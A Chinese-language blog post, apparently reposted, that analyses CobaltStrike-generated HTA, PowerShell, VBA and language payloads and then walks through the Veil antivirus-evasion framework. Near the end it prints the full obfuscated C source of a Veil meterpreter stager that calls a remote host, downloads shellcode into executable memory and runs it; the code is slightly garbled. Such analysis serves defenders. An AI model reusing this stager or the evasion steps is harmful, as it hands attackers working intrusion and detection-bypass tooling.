概述
在上一節(jié)的文章中,筆者分析了CobaltStrike的基本使用情況和PE樣品的概況。
通過上一小節(jié)的內(nèi)容,可了解CobaltStrike的基本原理和代碼解密上線方法。在本節(jié)中,筆者將會(huì)對CobaltStrike其他類型的惡意樣本進(jìn)行一個(gè)分析。由于foreign協(xié)議和beacon協(xié)議生成的樣本解碼方式相同,只是后續(xù)請求的方式不同,這里就不分開介紹了,只介紹beacon類型的樣本。
HTML Application
CobaltStrike可生成三種類型的hta文件,分別是Executable、Powershell、VBA。
這三類樣本的區(qū)別在于:
Executable 將會(huì)在hta文件中內(nèi)嵌一個(gè)PE文件
Powershell 將會(huì)在hta文件中內(nèi)嵌一段Powershell代碼
VBA 將會(huì)在hta文件中內(nèi)嵌一段VBA代碼
Beacon_Executable
該類樣本主要是創(chuàng)建一個(gè)包含VBScript的hta文件,在VBScript中,有一個(gè)硬編碼的PE
腳本會(huì)在末尾將shellcode寫入到evil_中并通過W加載執(zhí)行
因此可以將這部分的shellcode賦值到010中保存為exe文件:
保存出來的pe是只有14kb,初步估計(jì)是上一小節(jié)分析過的加載器。
經(jīng)過分析,可以確定該樣本是CobaltStrike的的分段Payload加載器
Powershell
相比之下,Powershell類型的hta內(nèi)嵌的shellcode體積就要小很多
該段Powershell代碼主要是用于解密并執(zhí)行中間一段base64編碼的代碼,中間的代碼解碼之后如下:
解碼之后的Powershell依舊是解碼執(zhí)行base64編碼的代碼,不同的是,此次解碼出來的將會(huì)是一個(gè)數(shù)據(jù)流,在后面解壓縮執(zhí)行。
所以可以將該段Powershell指令賦值到ps中執(zhí)行,得到執(zhí)行結(jié)果。
最后的這段Powershell代碼首先會(huì)在末尾處通過[IntPtr]::size -eq 8 以判斷當(dāng)前的操作系統(tǒng)是32還是64位。若當(dāng)前程序是64位,則以32位的模式啟動(dòng)。
這里調(diào)試ps1文件,直接將shellcode寫入到2.txt中:
寫入到1.txt中的內(nèi)容還是一段Powershell指令,代碼如下:
寫入之后格式如下,寫個(gè)簡單的python腳本格式化即可
格式化出來之后可以發(fā)現(xiàn)這里的shellcode其實(shí)就是分段Payload中解密出來用于下載后續(xù)Payload的shellcode
VBA
內(nèi)嵌VBA代碼的hta相比前兩類就要復(fù)雜一些
VBA類的hta主要是在hta中通過VBScript創(chuàng)建一個(gè)excel對象并填充惡意宏代碼執(zhí)行。
代碼首先通過CreateBoject 創(chuàng)建了一個(gè) Excel.Application對象并更改其可見屬性為False
接著程序創(chuàng)建一個(gè)WscriptShell對象用于操作注冊表,主要是添加宏的安全屬性
準(zhǔn)備工作完成之后,程序會(huì)給Excel對象添加工作表并且將宏代碼填充進(jìn)去:
最后通過Auto_Open方法調(diào)用宏:
所以可以直接在excel中創(chuàng)建一個(gè)宏對象,將hat文件中的宏代碼拷貝過去調(diào)試,記得位置需要選擇到當(dāng)前的文檔,而不是應(yīng)用到所有模板
但是將宏代碼插入到excel之前需要先把一些沒用的代碼給替換掉,原始代碼如下,經(jīng)過簡單分析,可以知道每個(gè)符號分別應(yīng)該替換為多少,并且直接將cha(xx)的形式替換為對應(yīng)的符號,這個(gè)過程可以手動(dòng)替換,也可以直接編寫一個(gè)python腳本進(jìn)行替換。
完全替換并格式化后的宏代碼應(yīng)該如下:
簡單分析后可得知,宏代碼中應(yīng)該是編碼了一段hex數(shù)據(jù)流,宏代碼會(huì)將這段數(shù)據(jù)流讀解碼后讀取到內(nèi)存并通過rundll32加載執(zhí)行
加載方式是直接寫入內(nèi)存
所以可以調(diào)試到 res = CreateStu, 0, 0, rwxpage, 0, 0, 0) 的時(shí)候使用火絨劍查看rundll32.exe的進(jìn)程信息,找到寫入的進(jìn)程地址,本例中為851968,將其轉(zhuǎn)換為16進(jìn)制得到d0000
獲取到寫入的地址之后,可以直接在火絨劍里面右鍵,查看進(jìn)程信息,轉(zhuǎn)到線程,雙擊之后,在內(nèi)存查看窗口中輸入轉(zhuǎn)換后的十六進(jìn)制地址:d0000查看內(nèi)存
跳轉(zhuǎn)過來之后可以發(fā)現(xiàn),這片內(nèi)存的數(shù)據(jù)就是我們之前分析過的shellcode。由于火絨劍本身不帶有內(nèi)存dump的功能,想要dump這片內(nèi)存可以使用其他的內(nèi)存dump工具。
Payload
除了直接生成惡意樣本,CobaltStrike還支持生成各種語言的Payload,包括了C、C#、Java、Python等常見語言
其中C、C#、JAVA、Perl、Python、Ruby、VBA等類型的Payload均為硬編碼的shellcode,而這段shellcode之前已經(jīng)看到過不止一次了。攻擊者可以編寫任意的加載器,將這段buf加載到內(nèi)存中執(zhí)行。
COM組件的sct文件和上面分析的HTML APPlication的VBA相似,均為創(chuàng)建一個(gè)excel對象將預(yù)定義的宏代碼寫入進(jìn)去執(zhí)行:
同樣的,Powershell類型的Payload跟hta類型的Powershell解碼出來保持一致:
Powershell_cmd類型的Payload會(huì)直接生成一行可執(zhí)行的Powershell指令,該條指令用于執(zhí)行一段base64編碼的指令
該段base64解碼之后還是一段Powershell指令,該段Powershell指令依舊用于執(zhí)行base64編碼后的指令
內(nèi)層的base64字符串解碼之后是一段壓縮后的shellcode,程序會(huì)通過IO.Com解壓縮這段數(shù)據(jù)通過IEX加載執(zhí)行,這和hta的Powershell保持一致。
至此,除Veil之外,CobaltStrike生成的所有Payload都已經(jīng)看完,通過對各種payload的簡單分析可以得知,CobaltStrike看起來可以生成多種類型的payload,但其實(shí)本質(zhì)上,payload所加載的shellcode其實(shí)是基本都是cs的downloader。
Veil
在上一小節(jié)介紹了CobaltStrike生成的各類payload,唯獨(dú)沒有介紹Veil,是因?yàn)閂eil并不是可直接投入使用的語言,而是一款和CobaltStrike配合使用的免殺框架。
CobaltStrike客戶端可以生成Veil類型的payload,攻擊者將該P(yáng)ayload傳入到Veil框架中即可生成具有一定免殺性的樣本。
在kali中安裝Veil只需要在確保配置的源可用的情況下執(zhí)行apt -y install veil 即可快速安裝
安裝之后執(zhí)行/usr/share/veil/config —force —silent 進(jìn)行配置:
配置完成,在命令行輸入veil指令就可進(jìn)入到Veil:
Veil主要是包含了Evasion和Ordnance兩個(gè)免殺工具,其中Evasion是用作文件免殺,Ordnance可生成一段Veil的Shellcode。接下來將以一個(gè)簡單的例子講述Veil框架的樣本生成:
Make Veil for Autoit
在命令行鍵入use 1選擇Evasion工具,可查看Evasion支持的一些命令,其中l(wèi)ist指令可列舉出Evasion包含的所有類型的Payload,use指令可選擇Payload,info 指令可查看Payload的相信信息。
鍵入list命令查看可配置的Payload列表
Veil的Evasion一共包含了41中Payload,其中包括autoit的shellcode注入、meterpreter后門、cs后門、golang版本的meterpreter后門、lua的shellcode注入、perl的shellcode注入、Powershell版本的meterpreter后門、python版
本的meterpreter后門、python的shellcode注入、ruby的meterpreter后門、ruby的shellcode注入等等。
鍵入info 1 或者info autoit/shellcode_injec 可查看第一類Payload的詳細(xì)信息:
根據(jù)回顯信息可知,autoit的Payload可直接編譯成可執(zhí)行文件。所以鍵入use 1 生成一個(gè)autoit的Payload試試
鍵入generate準(zhǔn)備生成樣本,Evasion提供了5種方式的shellcode,分別是
- Ordnance(默認(rèn))
- MSFVenom (MSF的Payload)
- Custom shellcode String (自定義的shellcode)
- File With Shellcode(十六進(jìn)制的shellcode文件)
- Binary file with shellcode(二進(jìn)制形式的shellcode文件)
這里看看Veil框架自帶的樣本,于是鍵入1,選擇默認(rèn)方式生成,接下來程序會(huì)讓用戶選擇直接生成原始payload還是生成編碼后的payload
而這里的Encoders其實(shí)只有一個(gè)xor方式
為了對比生成的shellcode情況,這里鍵入use 6 選擇不進(jìn)行編碼,可以看到壞字符為\x00,無編碼方式,接下來只設(shè)置好lhost和lport之后,鍵入generate即可生成payload
最后鍵入文件名,即可在Veil的文件目錄下生成對應(yīng)的exe文件:
Veil Autoit
通過工具解析這個(gè)pe文件,將autoit腳本dump出來如下:
Autoit腳本本身較短,主要就是將先前在Veil控制臺(tái)生成的那段shellcode注入到calc.exe中
Veil默認(rèn)生成的shellcode和上一小節(jié)cs的shellcode風(fēng)格類似,但是短小了很多
經(jīng)過快速的驗(yàn)證可以得知,該段shellcode就是CobaltStrike中用于下載后續(xù)payload的shellcode:
回到Veil框架中來,剛才在生成autoit的樣本時(shí)候,Veil提供了五個(gè)選項(xiàng)用于生成不同的shellcode,上面經(jīng)過試驗(yàn)可知Veil默認(rèn)的shellcode和CobaltStrike中對應(yīng),接下來看看MSFvenom選項(xiàng)的shellcode。
在配置shellcode時(shí)候選擇 2- MSFVenom,選擇msf的shellcode,根據(jù)提示鍵入對應(yīng)的信息,最后程序會(huì)生成一個(gè)名為的利用文件:
將msfvenom方式生成的樣本dump出來,發(fā)現(xiàn)注入方式相同,但是注入的shellcode有所改變
msfvenom的shellcode和CobaltStrike的基本一樣,但是感覺要穩(wěn)定一些
關(guān)于MSF的shellcode為什么和CobaltStrike的shellcode如此相似,筆者會(huì)在下一篇文章中進(jìn)行詳細(xì)的介紹。
由于2 3 4 三個(gè)選項(xiàng)都需要payload作為輸入,這個(gè)暫且不進(jìn)行分析。從選項(xiàng)5到選項(xiàng)8,均為c語言的meterpreter
Veil2meterpreter
選擇c/meterpreter ,Veil自動(dòng)配置好了LPORT,需要用戶手動(dòng)鍵入LHOST和Filename。
配置完成之后,生成payload的時(shí)候,Veil會(huì)自動(dòng)創(chuàng)建源代碼文件和可執(zhí)行文件,分別放入compiled文件夾和source文件夾中。
打開source文件夾中的u可看到該payload生成的C語言源碼:
格式化之后完整代碼如下
#define _WIN32_WINNT 0x0500
#include <win;
#include <;
#include <;
#include <;
#include <windows.h>
#include <;
char* HTzuNvhCcP(char* s)
{
char *result = malloc(strlen(s)*2+1);
int i;
for (i=0;i<strlen(s)*2+1;i++)
{
result[i] = s[i/2];
result[i+1]=s[i/2];
}
result[i] = '\0';
return result;
}
char* OySGHDw(const char *t)
{
int length= strlen(t);
int i;
char* t2 = (char*)malloc((length+1) * sizeof(char));
for(i=0;i<length;i++)
{
t2[(length-1)-i]=t[i];
}
t2[length] = '\0';
return t2;
}
int xDEADohLQOWAzHd(char PRgNjrnBFiTU[])
{
int ALonTwgUnqVHeP=0;
int i;
for (i=0;i<strlen(PRgNjrnBFiTU);++i)
ALonTwgUnqVHeP += PRgNjrnBFiTU[i];
return (ALonTwgUnqVHeP % 256);
}
void MzItUPnp()
{
WORD pYUkbOS = MAKEWORD((0*4+2), (2*1+0));
WSADATA euQsZxqczZN;
if (WSAStartup(pYUkbOS, &euQsZxqczZN) < 0)
{
WSACleanup();
exit(1);
}
}
char* OZNtVHUJ()
{
char EqafcdrUDe[2322], lchzXusA[2322/2];
strcpy(EqafcdrUDe,"KsdJVurnXCZwEPwiYxMkTesCJnIcBzpzkbpihXhtoIKlPqSowe");
strcpy(lchzXusA,"WbxKqlvywkBPPFOwqjvVDYWNHzeRElhmgzEVedFMzzZIbLNYbN");
return OySGHDw(strcat( EqafcdrUDe, lchzXusA));
}
void MxzrqhwCGD(SOCKET HpKFhGTt)
{
closesocket(HpKFhGTt);
WSACleanup();
exit(1);
}
char* ezkJzCUX()
{
char *FoteTKotVa = HTzuNvhCcP("ntHkjiirjivMQLRcvIHfhkPRwprXXDMVwVCXKmYXzGjTKGqYtB");
return strstr( FoteTKotVa, "p" );
}
char* XqleexaJmujm()
{
srand (time(NULL));
int i;
char jXDHwTYg[] = "NpDPygsCZFz0fIlSQAO2c4xrb6vJYiWXGm1TVw3udUnkKa9EtBMLHjqheR58o7";
char* bMKWmB = malloc(5);
bMKWmB[4] = 0;
while (1<2)
{
for(i=0;i<3;++i)
{
bMKWmB[i] = jXDHwTYg[rand() % (sizeof(jXDHwTYg)-1)];
}
for(i=0;i<sizeof(jXDHwTYg);i++)
{
bMKWmB[3] = jXDHwTYg[i];
if (xDEADohLQOWAzHd(bMKWmB) == 92)
return bMKWmB;
}
} return 0;
}
char* UQVVQa()
{
char qofPBDITdyn[2322] = "QvAaOpKBiWlPPVDkezMgBtoUdUNQHsYSwKTqHAorZOwQkXnYjr";
char *FBvxORWoFORw = strupr(qofPBDITdyn);
return strlwr(FBvxORWoFORw);
}
SOCKET rGEiHkVJYjGbir()
{
struct hostent * Iaedcj;
struct sockaddr_in XIHDAdziTSd;
SOCKET rrlyFfRiscWV;
rrlyFfRiscWV = socket(AF_INET, SOCK_STREAM, 0);
if (rrlyFfRiscWV == INVALID_SOCKET)
MxzrqhwCGD(rrlyFfRiscWV);
Iaedcj = gethostbyname("192.168.230.129");
if (Iaedcj == NULL)
MxzrqhwCGD(rrlyFfRiscWV);
memcpy(&XIHDAdziTSd., Iaedcj->h_addr, Iaedcj->h_length);
XIHDAdziTSd.sin_family = AF_INET;
XIHDAdziTSd.sin_port = htons((673*12+4));
if ( connect(rrlyFfRiscWV, (struct sockaddr *)&XIHDAdziTSd, sizeof(XIHDAdziTSd)) )
MxzrqhwCGD(rrlyFfRiscWV);
return rrlyFfRiscWV;
}
int main(int argc, char * argv[])
{
char * EcQtTd;
int i;
char* YGADVFvMCa[5463];
for (i = 0;i < 5463;++i)
YGADVFvMCa[i] = malloc (4182);
MzItUPnp();
char* WCficlPxKiWRYg[264];
SOCKET mpmACD = rGEiHkVJYjGbir();
for (i = 0;i < 264;++i)
WCficlPxKiWRYg[i] = malloc (2850);
char mwKObmvDwOIuJ[200];
sprintf(mwKObmvDwOIuJ, "GET /%s HTTP\r\nAccept-Encoding: identity\r\nHost: 192.168.230.129:8080\r\nConnection: close\r\nUser-Agent: Mozilla (compatible;MSIE 6.1;Windows NT\r\n\r\n", XqleexaJmujm());
send(mpmACD,mwKObmvDwOIuJ, strlen( mwKObmvDwOIuJ ),0);
Sleep(300);
EcQtTd = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* AGwAhuoOYGFoNzq[9887];
for (i=0;i<5463;++i)
{
strcpy(YGADVFvMCa[i], OZNtVHUJ());
}
char * umWSfvQxRu = EcQtTd;
int XHuuVPORMriW;
do
{
XHuuVPORMriW = recv(mpmACD, umWSfvQxRu, 1024, 0);
umWSfvQxRu += XHuuVPORMriW;
}while ( XHuuVPORMriW > 0 );
for (i = 0;i < 9887;++i)
AGwAhuoOYGFoNzq[i] = malloc (4361);
for (i=0;i<264;++i)
{
strcpy(WCficlPxKiWRYg[i], ezkJzCUX());
}
closesocket(mpmACD);
WSACleanup();
((void (*)())strstr(EcQtTd, "\r\n\r\n") + 4)();
for (i=0;i<9887;++i)
{
strcpy(AGwAhuoOYGFoNzq[i], UQVVQa());
}
return 0;
}
由于 6 7 8三個(gè)選項(xiàng)只是請求協(xié)議不同,加載方式還是大同小異的,這里就不分別對后面的進(jìn)行生成和分析了。
不過關(guān)于Veil生成的meterpreter還是比較有意思的,本文篇幅至此,若是下一篇有機(jī)會(huì)的話將其完整分析補(bǔ)上。
1.《cs控制臺(tái),干貨看這篇!透視CobaltStrike(二)—從CS到免殺框架Veil》援引自互聯(lián)網(wǎng),旨在傳遞更多網(wǎng)絡(luò)信息知識(shí),僅代表作者本人觀點(diǎn),與本網(wǎng)站無關(guān),侵刪請聯(lián)系頁腳下方聯(lián)系方式。
2.《cs控制臺(tái),干貨看這篇!透視CobaltStrike(二)—從CS到免殺框架Veil》僅供讀者參考,本網(wǎng)站未對該內(nèi)容進(jìn)行證實(shí),對其原創(chuàng)性、真實(shí)性、完整性、及時(shí)性不作任何保證。
3.文章轉(zhuǎn)載時(shí)請保留本站內(nèi)容來源地址,http://f99ss.com/gl/2094389.html